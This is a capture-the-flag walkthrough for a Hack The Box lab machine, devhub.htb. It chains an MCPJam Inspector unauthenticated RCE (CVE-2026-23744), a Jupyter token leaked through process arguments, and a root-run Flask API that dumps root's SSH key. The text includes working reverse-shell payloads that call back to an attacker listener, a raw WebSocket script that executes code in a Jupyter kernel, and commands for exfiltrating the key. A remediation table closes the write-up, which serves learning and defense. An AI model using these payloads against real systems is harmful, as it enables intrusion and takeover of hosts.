HTB Season 11: DevHub Machine Full Walkthrough
Overview
devhub.htb is an internal development and analytics platform running on Ubuntu 24.04. The machine hosts three internal services — an MCP Inspector tool, a Jupyter-based analytics dashboard, and a Git code repository — all accessible via a devhub.htb landing page.
The attack chain exploits a critical unauthenticated RCE vulnerability in MCPJam Inspector to gain an initial foothold, leverages a process argument information leak to pivot to a second user, and finally abuses a hidden administrative API endpoint running as root to dump the root SSH private key.
Attack Chain Summary
Recon → devhub.htb landing page
↓
CVE-2026-23744 — MCPJam Inspector unauthenticated RCE via /api/mcp/connect
↓
Shell as mcp-dev (UID=1001)
↓
Jupyter token exposed in process arguments (ps aux)
↓
Jupyter kernel API + raw WebSocket → RCE as analyst (UID=1002)
↓
user.txt
↓
OPSMCP Flask server running as root on localhost:5000
↓
Hidden tool ops._admin_dump → /root/.ssh/id_rsa dumped
↓
SSH as root
↓
root.txtReconnaissance
Port Scan
nmap -sC -sV -p- -T4 -oA devhub_scan 10.129.7.166Open ports:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | nginx — devhub.htb landing page |
| 6274 | HTTP | MCPJam Inspector |
Web Enumeration
Browsing to http://devhub.htb reveals an internal development platform landing page with three service cards:
- MCP Inspector — Active on port 6274
- Analytics Dashboard — Jupyter, internal only on
localhost:8888 - Code Repository — Internal Git server, maintenance mode
Adding the vhost to /etc/hosts:
echo "10.129.7.166 devhub.htb" >> /etc/hostsInitial Access — CVE-2026-23744 (MCPJam Inspector RCE)
Vulnerability Description
CVE-2026-23744 is a critical unauthenticated Remote Code Execution vulnerability affecting MCPJam Inspector versions <= 1.4.2.
Root Cause: The MCPJam Inspector HTTP server binds to 0.0.0.0 (all interfaces) instead of 127.0.0.1, exposing the /api/mcp/connect endpoint to the network. This endpoint accepts a JSON body containing command and args fields and directly spawns an OS child process without any authentication, input validation, or sanitization.
Vulnerable server binding in source:
const server = serve({
fetch: app.fetch,
port: SERVER_PORT,
hostname: "0.0.0.0", // exposed on all interfaces — no auth
});Vulnerable JSON handler: The endpoint extracts serverConfig.command and serverConfig.args directly from the request body and passes them to the OS process spawner.
| Field | Value |
|---|---|
| CVSS Score | 9.8 Critical |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| Affected | @mcpjam/inspector <= 1.4.2 |
| Patched | 1.4.3 |
| GHSA | GHSA-232v-j27c-5pp6 |
Steps to Reproduce
Step 1 — Verify the endpoint is unauthenticated:
curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverId":"probe","serverConfig":{"command":"/bin/true","args":[]}}'A 200 OK response confirms the endpoint accepts unauthenticated requests.
Step 2 — Start a listener:
nc -lvnp 4444Step 3 — Send the reverse shell payload:
curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverId": "pwned",
"serverConfig": {
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/10.10.14.90/4444 0>&1"]
}
}'Step 4 — Stabilise the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm SHELL=/bin/bashResult: Shell as mcp-dev (UID=1001).
mcp-dev@devhub:~$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)Lateral Movement — Jupyter Token Leak
Vulnerability Description
Root Cause: The Jupyter Lab process is started with the authentication token passed as a command-line argument (--ServerApp.token=). On Linux, process arguments are visible to all local users via /proc/<pid>/cmdline and tools like ps aux. This means any user with local access can read the Jupyter authentication token in plaintext without any special privileges.
This is a configuration/deployment error — Jupyter tokens should be passed via environment variables or configuration files with restricted permissions, not command-line arguments.
Steps to Reproduce
Step 1 — Enumerate running processes as mcp-dev:
ps aux | grep jupyterOutput:
analyst 1044 0.0 2.4 182532 96576 ? Ss May28 0:05
/home/analyst/jupyter-env/bin/python3
/home/analyst/jupyter-env/bin/jupyter-lab
--ip=127.0.0.1
--port=8888
--no-browser
--notebook-dir=/home/analyst/notebooks
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
--ServerApp.password=
--ServerApp.disable_check_xsrf=FalseExtracted token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
Step 2 — Verify access to the Jupyter API:
curl -s "http://127.0.0.1:8888/api?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"{"version": "2.17.0"}Step 3 — Create a Jupyter kernel:
curl -s -X POST "http://127.0.0.1:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{"name":"python3"}'Response:
{"id": "884d0a69-7529-48d5-87d2-83adcbe3f967", "name": "python3", "execution_state": "starting"}Step 4 — Write a reverse shell script via the Jupyter file API:
curl -s -X PUT "http://127.0.0.1:8888/api/contents/shell.sh?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{"type":"file","format":"text","content":"#!/bin/bash\npython3 -c '\''import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.14.90\",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call([\"/bin/bash\",\"-i\"])'\''\n"}'Step 5 — Execute the shell via the kernel WebSocket using Python stdlib only (no external dependencies):
nc -lvnp 4444python3 << 'PYEOF'
import socket, os, json, uuid, base64, time
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KID = "884d0a69-7529-48d5-87d2-83adcbe3f967"
HOST = "127.0.0.1"
PORT = 8888
LHOST = "10.10.14.90"
LPORT = "4444"
CODE = f"import subprocess; subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'])"
key = base64.b64encode(os.urandom(16)).decode()
path = f"/api/kernels/{KID}/channels?token={TOKEN}"
s = socket.create_connection((HOST, PORT))
s.sendall((
f"GET {path} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
).encode())
resp = b""
while b"\r\n\r\n" not in resp:
resp += s.recv(1)
def make_frame(payload):
data = payload.encode("utf-8")
mask = os.urandom(4)
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
ln = len(data)
if ln <= 125:
header = bytes([0x81, 0x80 | ln]) + mask
elif ln <= 65535:
header = bytes([0x81, 0xFE]) + ln.to_bytes(2,'big') + mask
else:
header = bytes([0x81, 0xFF]) + ln.to_bytes(8,'big') + mask
return header + masked
msg = json.dumps({
"header": {
"msg_id": str(uuid.uuid4()), "msg_type": "execute_request",
"session": str(uuid.uuid4()), "username": "", "version": "5.3", "date": ""
},
"parent_header": {}, "metadata": {},
"content": {
"code": CODE, "silent": False, "store_history": False,
"user_expressions": {}, "allow_stdin": False, "stop_on_error": True
},
"channel": "shell", "buffers": []
})
s.sendall(make_frame(msg))
time.sleep(5)
s.close()
PYEOFResult: Shell as analyst (UID=1002).
analyst@devhub:~$ id
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)
analyst@devhub:~$ cat /home/analyst/user.txt
<user flag>Privilege Escalation — OPSMCP Hidden API
Vulnerability Description
Root Cause: A Flask-based internal operations server (/opt/opsmcp/server.py) runs as root on localhost:5000. The server exposes a /tools/call endpoint protected only by a static API key hardcoded in the source file. The server contains hidden administrative tools not listed in the public /tools/list endpoint, including ops._admin_dump which reads /root/.ssh/id_rsa directly from the filesystem and returns it in the HTTP response.
The combination of three weaknesses leads to full root compromise:
- Hardcoded API key in plaintext source —
opsmcp_secret_key_4f5a6b7c8d9e0f1a - Hidden tools not documented or protected beyond the shared API key
- Arbitrary file read as root —
ops._admin_dumpwithtarget=ssh_keysreads the root private key with no additional access control
Vulnerable code in /opt/opsmcp/server.py:
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
elif tool_name == "ops._admin_dump":
if target == "ssh_keys":
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({"root_private_key": key_data})Steps to Reproduce
Step 1 — Discover the OPSMCP server (visible from pspy or process list):
ps aux | grep opsmcp
# root 1050 python3 /opt/opsmcp/server.py
ss -tlnp | grep 5000
# LISTEN 0 5 127.0.0.1:5000Step 2 — Read the server source to extract the API key:
cat /opt/opsmcp/server.py
# VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"Step 3 — Enumerate hidden tools by calling ops._debug_mode:
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name":"ops._debug_mode","arguments":{}}'{
"debug": true,
"hidden_tools": ["ops._admin_dump", "ops._debug_mode"]
}Step 4 — Dump root's SSH private key:
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'Response:
{
"target": "ssh_keys",
"root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\n...",
"note": "Emergency recovery key dump"
}Step 5 — Save the key and SSH as root:
# On attacker machine
cat > /tmp/root_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<key content>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/root_id_rsa
ssh -i /tmp/root_id_rsa root@10.129.7.166Result: Root shell.
root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# cat /root/root.txt
<root flag>Remediation
| Finding | Severity | Fix |
|---|---|---|
| CVE-2026-23744 MCPJam RCE | Critical | Upgrade to @mcpjam/inspector >= 1.4.3. Bind server to 127.0.0.1 only. Add authentication to /api/mcp/connect. |
| Jupyter token in process args | High | Pass token via config file (~/.jupyter/jupyter_lab_config.py) with 600 permissions, not --ServerApp.token CLI arg. |
| Hardcoded API key in source | High | Store secrets in environment variables or a secrets manager, not source code. |
| Hidden admin tools exposed via shared key | Critical | Require separate elevated credentials for admin tools. Remove file-read primitives from API endpoints entirely. |
| OPSMCP running as root | High | Run the Flask server as a dedicated low-privilege service account. Use sudo rules scoped to specific operations if root access is required. |
Comments (0)
No comments yet. Start the conversation.